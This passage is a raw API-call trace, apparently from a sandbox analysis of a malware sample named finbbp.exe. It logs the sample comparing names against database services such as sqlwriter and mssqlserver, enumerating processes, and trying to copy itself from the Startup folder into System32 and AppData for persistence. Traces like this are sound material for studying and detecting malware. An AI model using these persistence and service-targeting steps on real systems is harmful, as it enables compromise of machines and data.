[0216.767] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0216.767] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0216.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0216.767] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0216.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0216.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0216.767] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0216.767] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0216.768] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b4ff0 | out: hHeap=0x670000) returned 1 [0216.768] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0216.781] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.782] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0216.782] lstrlenW (lpString="System") returned 6 [0216.782] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0216.783] lstrlenW (lpString="smss.exe") returned 8 [0216.783] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.783] lstrlenW (lpString="csrss.exe") returned 9 [0216.783] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0216.783] lstrlenW (lpString="wininit.exe") returned 11 [0216.783] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0216.784] lstrlenW (lpString="csrss.exe") returned 9 [0216.784] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0216.784] lstrlenW (lpString="winlogon.exe") returned 12 [0216.784] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0216.785] lstrlenW (lpString="services.exe") returned 12 [0216.785] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0216.785] lstrlenW (lpString="lsass.exe") returned 9 [0216.785] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0216.786] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0216.786] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0216.786] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0216.786] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.787] lstrlenW (lpString="svchost.exe") returned 11 [0216.787] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.787] lstrlenW (lpString="svchost.exe") returned 11 [0216.787] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0216.787] lstrlenW (lpString="dwm.exe") returned 7 [0216.788] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.788] lstrlenW (lpString="svchost.exe") returned 11 [0216.788] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.788] lstrlenW (lpString="svchost.exe") returned 11 [0216.788] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.789] lstrlenW (lpString="svchost.exe") returned 11 [0216.789] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.789] lstrlenW (lpString="svchost.exe") returned 11 [0216.789] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.790] lstrlenW (lpString="svchost.exe") returned 11 [0216.790] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.790] lstrlenW (lpString="svchost.exe") returned 11 [0216.790] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.791] lstrlenW (lpString="svchost.exe") returned 11 [0216.791] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.791] lstrlenW (lpString="svchost.exe") returned 11 [0216.791] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.795] lstrlenW (lpString="svchost.exe") returned 11 [0216.795] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.795] lstrlenW (lpString="svchost.exe") returned 11 [0216.795] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0216.796] lstrlenW (lpString="spoolsv.exe") returned 11 [0216.796] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0216.796] lstrlenW (lpString="taskhostw.exe") returned 13 [0216.796] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.797] lstrlenW (lpString="svchost.exe") returned 11 [0216.797] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0216.797] lstrlenW (lpString="audiodg.exe") returned 11 [0216.797] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0216.797] lstrlenW (lpString="sihost.exe") returned 10 [0216.797] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0216.798] lstrlenW (lpString="svchost.exe") returned 11 [0216.798] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0216.799] lstrlenW (lpString="MDMAgent.exe") returned 12 [0216.799] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0216.799] lstrlenW (lpString="taskhostw.exe") returned 13 [0216.799] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0216.800] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0216.800] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0216.800] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0216.800] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0216.801] lstrlenW (lpString="Memory Compression") returned 18 [0216.801] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0216.801] lstrlenW (lpString="explorer.exe") returned 12 [0216.801] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0216.801] lstrlenW (lpString="SearchUI.exe") returned 12 [0216.802] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0216.802] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0216.802] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0216.802] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0216.802] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0216.803] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0216.803] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0216.803] lstrlenW (lpString="mobsync.exe") returned 11 [0216.803] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0216.804] lstrlenW (lpString="finbbp.exe") returned 10 [0216.804] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 0 [0216.804] CloseHandle (hObject=0x240) returned 1 [0216.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x687820 | out: hHeap=0x670000) returned 1 [0216.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6874c0 | out: hHeap=0x670000) returned 1 [0216.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686448 | out: hHeap=0x670000) returned 1 [0216.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686108 | out: hHeap=0x670000) returned 1 [0216.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x685748 | out: hHeap=0x670000) returned 1 [0216.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3158 | out: hHeap=0x670000) returned 1 [0216.804] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686348 | out: hHeap=0x670000) returned 1 [0216.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6861a8 | out: hHeap=0x670000) returned 1 [0216.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad908 | out: hHeap=0x670000) returned 1 [0216.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ada98 | out: hHeap=0x670000) returned 1 [0216.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686168 | out: hHeap=0x670000) returned 1 [0216.805] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ada48 | out: hHeap=0x670000) returned 1 [0216.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6b4fc8 [0216.805] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6c4fd0 [0216.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b2f90 [0216.806] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b2f90, Size=0x20) returned 0x6adb10 [0216.806] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb10, Size=0x40) returned 0x6877d8 [0216.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b30c8 [0216.806] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b30c8, Size=0x20) returned 0x6ad9d0 [0216.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b30b0 [0216.806] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b30b0, Size=0x20) returned 0x6ada48 [0216.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3098 [0216.806] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3098, Size=0x20) returned 0x6adb10 [0216.806] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb10, Size=0x40) returned 0x6874c0 [0216.806] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6c4fd0, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe")) returned 0x47 [0216.806] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6d4fd8 [0216.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6e4fe0 [0216.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3080 [0216.807] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3080, Size=0x20) returned 0x6adbb0 [0216.807] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adbb0, Size=0x40) returned 0x687748 [0216.807] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687748, Size=0x80) returned 0x6f5de0 [0216.807] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5de0, Size=0x100) returned 0x6b3808 [0216.808] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0216.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3808 | out: hHeap=0x670000) returned 1 [0216.808] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\finbbp.exe", lpDst=0x6d4fd8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\finbbp.exe") returned 0x1f [0216.808] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6e4fe0 | out: hHeap=0x670000) returned 1 [0216.810] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d4fd8 | out: hHeap=0x670000) returned 1 [0216.811] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x2351020 [0216.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3158 [0216.814] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3158, Size=0x20) returned 0x6ad9f8 [0216.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b30b0 [0216.814] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b30b0, Size=0x20) returned 0x6adb10 [0216.814] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0216.814] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0216.814] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1 [0216.814] lstrlenW (lpString="kernel32.dll") returned 12 [0216.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad9f8 | out: hHeap=0x670000) returned 1 [0216.814] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0216.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adb10 | out: hHeap=0x670000) returned 1 [0216.814] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240 [0216.815] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\finbbp.exe" (normalized: "c:\\windows\\system32\\finbbp.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0216.817] CloseHandle (hObject=0x240) returned 1 [0216.817] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b30e0 [0216.817] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b30e0, Size=0x20) returned 0x6ad908 [0216.818] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3080 [0216.818] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3080, Size=0x20) returned 0x6ad9f8 [0216.818] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0216.818] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0216.818] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0216.818] lstrlenW (lpString="kernel32.dll") returned 12 [0216.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad9f8 | out: hHeap=0x670000) returned 1 [0216.818] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0216.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad908 | out: hHeap=0x670000) returned 1 [0216.818] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2351020 | out: hHeap=0x670000) returned 1 [0216.820] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6d4fd8 [0216.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x6e4fe0 [0216.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b30e0 [0216.821] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b30e0, Size=0x20) returned 0x6adb10 [0216.821] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adb10, Size=0x40) returned 0x687748 [0216.821] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687748, Size=0x80) returned 0x6f5ef0 [0216.821] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6f5ef0, Size=0x100) returned 0x6b3808 [0216.821] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0216.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b3808 | out: hHeap=0x670000) returned 1 [0216.821] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\finbbp.exe", lpDst=0x6d4fd8, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\finbbp.exe") returned 0x2b [0216.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6e4fe0 | out: hHeap=0x670000) returned 1 [0216.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d4fd8 | out: hHeap=0x670000) returned 1 [0216.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x235d020 [0216.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b30b0 [0216.826] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b30b0, Size=0x20) returned 0x6ad9a8 [0216.826] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3098 [0216.826] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b3098, Size=0x20) returned 0x6ada98 [0216.826] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0216.826] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0216.826] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0216.826] lstrlenW (lpString="kernel32.dll") returned 12 [0216.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad9a8 | out: hHeap=0x670000) returned 1 [0216.826] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0216.826] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 